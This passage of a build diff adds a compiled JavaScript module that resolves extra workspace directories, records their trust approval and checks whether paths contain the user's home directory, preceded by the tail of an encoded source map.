AAM,IAAI;AAAA,EAChC;AAAA,EAEA,QAAQ,OAAe,SAA0B;AAC/C,QACE,CAAC,SACD,OAAO,YAAY,YACnB,CAAC,OAAO,SAAS,OAAO,KACxB,UAAU,4BACV;AACA,aAAO;AAAA,IACT;AACA,UAAM,aAAa,KAAK,MAAM,OAAO;AACrC,UAAM,WAAW,KAAK,OAAO,IAAI,KAAK;AACtC,QAAI,YAAY,SAAS,iBAAiB,YAAY;AACpD,aAAO;AAAA,IACT;AACA,SAAK,OAAO,IAAI,OAAO,EAAE,eAAe,YAAY,WAAW,KAAK,IAAI,EAAE,CAAC;AAC3E,WAAO;AAAA,EACT;AAAA,EAEA,MAA+C;AAC7C,UAAM,SAAkD,CAAC;AACzD,eAAW,CAAC,GAAG,CAAC,KAAK,KAAK,OAAO,QAAQ,GAAG;AAC1C,aAAO,CAAC,IAAI,EAAE,GAAG,EAAE;AAAA,IACrB;AACA,WAAO;AAAA,EACT;AACF;AAQO,SAAS,uBAAuB,SAAqD;AAC1F,MAAI;AAEJ,WAAS,OAA6B;AACpC,QAAI,eAAe,QAAW;AAC5B,mBAAa,qBAAqB,OAAO;AAAA,IAC3C;AACA,WAAO;AAAA,EACT;AAEA,SAAO;AAAA,IACL,IAAI,OAAmC;AACrC,UAAI,CAAC,MAAO,QAAO;AACnB,aAAO,KAAK,EAAE,OAAO,KAAK,GAAG;AAAA,IAC/B;AAAA,IAEA,SAAS,OAAoD;AAC3D,UAAI,CAAC,MAAO,QAAO;AACnB,YAAM,QAAQ,KAAK,EAAE,OAAO,KAAK;AACjC,aAAO,QAAQ,EAAE,GAAG,MAAM,IAAI;AAAA,IAChC;AAAA,IAEA,QAAQ,OAAe,SAA0B;AAC/C,UACE,CAAC,SACD,OAAO,YAAY,YACnB,CAAC,OAAO,SAAS,OAAO,KACxB,UAAU,4BACV;AACA,eAAO;AAAA,MACT;AACA,YAAM,QAAQ,qBAAqB,OAAO;AAC1C,UAAI,MAAM,UAAU,4BAA4B;AAC9C,eAAO;AAAA,MACT;AACA,YAAM,oBAAoB,KAAK,MAAM,OAAO;AAC5C,YAAM,gBAAgB,MAAM,OAAO,KAAK;AACxC,YAAM,gBAAgB,gBAClB,KAAK,IAAI,cAAc,eAAe,iBAAiB,IACvD;AAEJ,UAAI,iBAAiB,cAAc,kBAAkB,eAAe;AAElE,eAAO;AAAA,MACT;AAEA,YAAM,MAAM,SAAS,MAAM,QAAQ,IAAI,IAAI,KAAK,IAAI;AACpD,YAAM,UAAgC;AAAA,QACpC,SAAS,MAAM;AAAA,QACf,QAAQ;AAAA,UACN,GAAG,MAAM;AAAA,UACT,CAAC,KAAK,GAAG;AAAA,YACP,eAAe;AAAA,YACf,WAAW;AAAA,UACb;AAAA,QACF;AAAA,MACF;AACA,YAAM,UAAU,sBAAsB,SAAS,OAAO;AACtD,UAAI,SAAS;AACX,qBAAa;AACb,eAAO;AAAA,MACT;AACA,aAAO;AAAA,IACT;AAAA,IAEA,MAA+C;AAC7C,YAAM,SAAS,KAAK,EAAE;AACtB,YAAM,SAAkD,CAAC;AACzD,iBAAW,CAAC,GAAG,CAAC,KAAK,OAAO,QAAQ,MAAM,GAAG;AAC3C,eAAO,CAAC,IAAI,EAAE,GAAG,EAAE;AAAA,MACrB;AACA,aAAO;AAAA,IACT;AAAA,EACF;AACF;","names":[]}
@@ -0,0 +1,120 @@
1
+ import {
2
+ canonicalizePath,
3
+ realWorkspaceRoot
4
+ } from "./chunk-X66I2NQO.js";
5
+ import {
6
+ createDebugLogger
7
+ } from "./chunk-62QL5QUP.js";
8
+ import {
9
+ updateWorkspaceTrust
10
+ } from "./chunk-VPNLCMVR.js";
11
+ import {
12
+ resolveBookHome
13
+ } from "./chunk-ZPSZZUWF.js";
14
+
15
+ // src/additional-roots.ts
16
+ import { existsSync, realpathSync } from "fs";
17
+ import { homedir } from "os";
18
+ import { isAbsolute, relative, resolve, sep } from "path";
19
+ var log = createDebugLogger("additional-roots");
20
+ function realPathOfDirectory(workspace, declared) {
21
+ const absolute = isAbsolute(declared) ? resolve(declared) : resolve(workspace, declared);
22
+ if (!existsSync(absolute)) {
23
+ log.debug("ignoring declared directory that does not exist", { declared, resolved: absolute });
24
+ return void 0;
25
+ }
26
+ try {
27
+ return realpathSync.native(absolute);
28
+ } catch (error) {
29
+ log.debug("ignoring declared directory that cannot be resolved", {
30
+ declared,
31
+ resolved: absolute,
32
+ error: error instanceof Error ? error.message : String(error)
33
+ });
34
+ return void 0;
35
+ }
36
+ }
37
+ function collectDeclaredDirectories(workspace, declared) {
38
+ const seen = /* @__PURE__ */ new Set();
39
+ const out = [];
40
+ for (const entry of declared ?? []) {
41
+ const realPath = realPathOfDirectory(workspace, entry);
42
+ if (!realPath || seen.has(realPath)) continue;
43
+ seen.add(realPath);
44
+ out.push({ declared: entry, realPath });
45
+ }
46
+ return out;
47
+ }
48
+ function evaluateProjectDirectory(store, realPath) {
49
+ return store?.[realPath] ?? "unknown";
50
+ }
51
+ function partitionProjectDirectories(directories, store) {
52
+ const partition = { approved: [], pending: [], rejected: [] };
53
+ for (const directory of directories) {
54
+ const state = evaluateProjectDirectory(store, directory.realPath);
55
+ if (state === "approved") partition.approved.push(directory);
56
+ else if (state === "rejected") partition.rejected.push(directory);
57
+ else partition.pending.push(directory);
58
+ }
59
+ return partition;
60
+ }
61
+ function persistProjectDirectoryChoice(workspace, realPath, choice, options = {}) {
62
+ return updateWorkspaceTrust(
63
+ workspace,
64
+ (trust) => {
65
+ trust.projectDirectories[realPath] = choice;
66
+ },
67
+ options.trustStorePath
68
+ );
69
+ }
70
+ function resolveAdditionalRoots(workspace, declared) {
71
+ const realWorkspace = realWorkspaceRoot(workspace);
72
+ const roots = [];
73
+ const seen = /* @__PURE__ */ new Set();
74
+ for (const entry of collectDeclaredDirectories(workspace, declared)) {
75
+ const fromWorkspace = relative(realWorkspace, entry.realPath);
76
+ if (!isAbsolute(fromWorkspace) && fromWorkspace !== ".." && !fromWorkspace.startsWith(`..${sep}`)) {
77
+ log.debug("dropping declared directory the workspace already serves", {
78
+ declared: entry.declared,
79
+ realPath: entry.realPath
80
+ });
81
+ continue;
82
+ }
83
+ if (seen.has(entry.realPath)) continue;
84
+ seen.add(entry.realPath);
85
+ roots.push(entry.realPath);
86
+ }
87
+ return roots;
88
+ }
89
+ function rootHoldsHome(root, homes = homeGuards()) {
90
+ return homes.some((home) => containsPath(root, home));
91
+ }
92
+ function homeGuards() {
93
+ const homes = [];
94
+ for (const home of [resolveBookHome(), homedir()]) {
95
+ const real = canonicalizePath(home);
96
+ if (real && !homes.includes(real)) homes.push(real);
97
+ }
98
+ return homes;
99
+ }
100
+ function pathHoldsHome(canonicalPath, homes = homeGuards()) {
101
+ return homes.some((home) => containsPath(home, canonicalPath));
102
+ }
103
+ function containsPath(root, target) {
104
+ const fromRoot = relative(canonicalizePath(root), canonicalizePath(target));
105
+ return !(fromRoot === ".." || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot));
106
+ }
107
+
108
+ export {
109
+ realPathOfDirectory,
110
+ collectDeclaredDirectories,
111
+ evaluateProjectDirectory,
112
+ partitionProjectDirectories,
113
+ persistProjectDirectoryChoice,
114
+ resolveAdditionalRoots,
115
+ rootHoldsHome,
116
+ homeGuards,
117
+ pathHoldsHome,
118
+ containsPath
119
+ };
120
+ //# sourceMappingURL=chunk-525CAZPY.js.map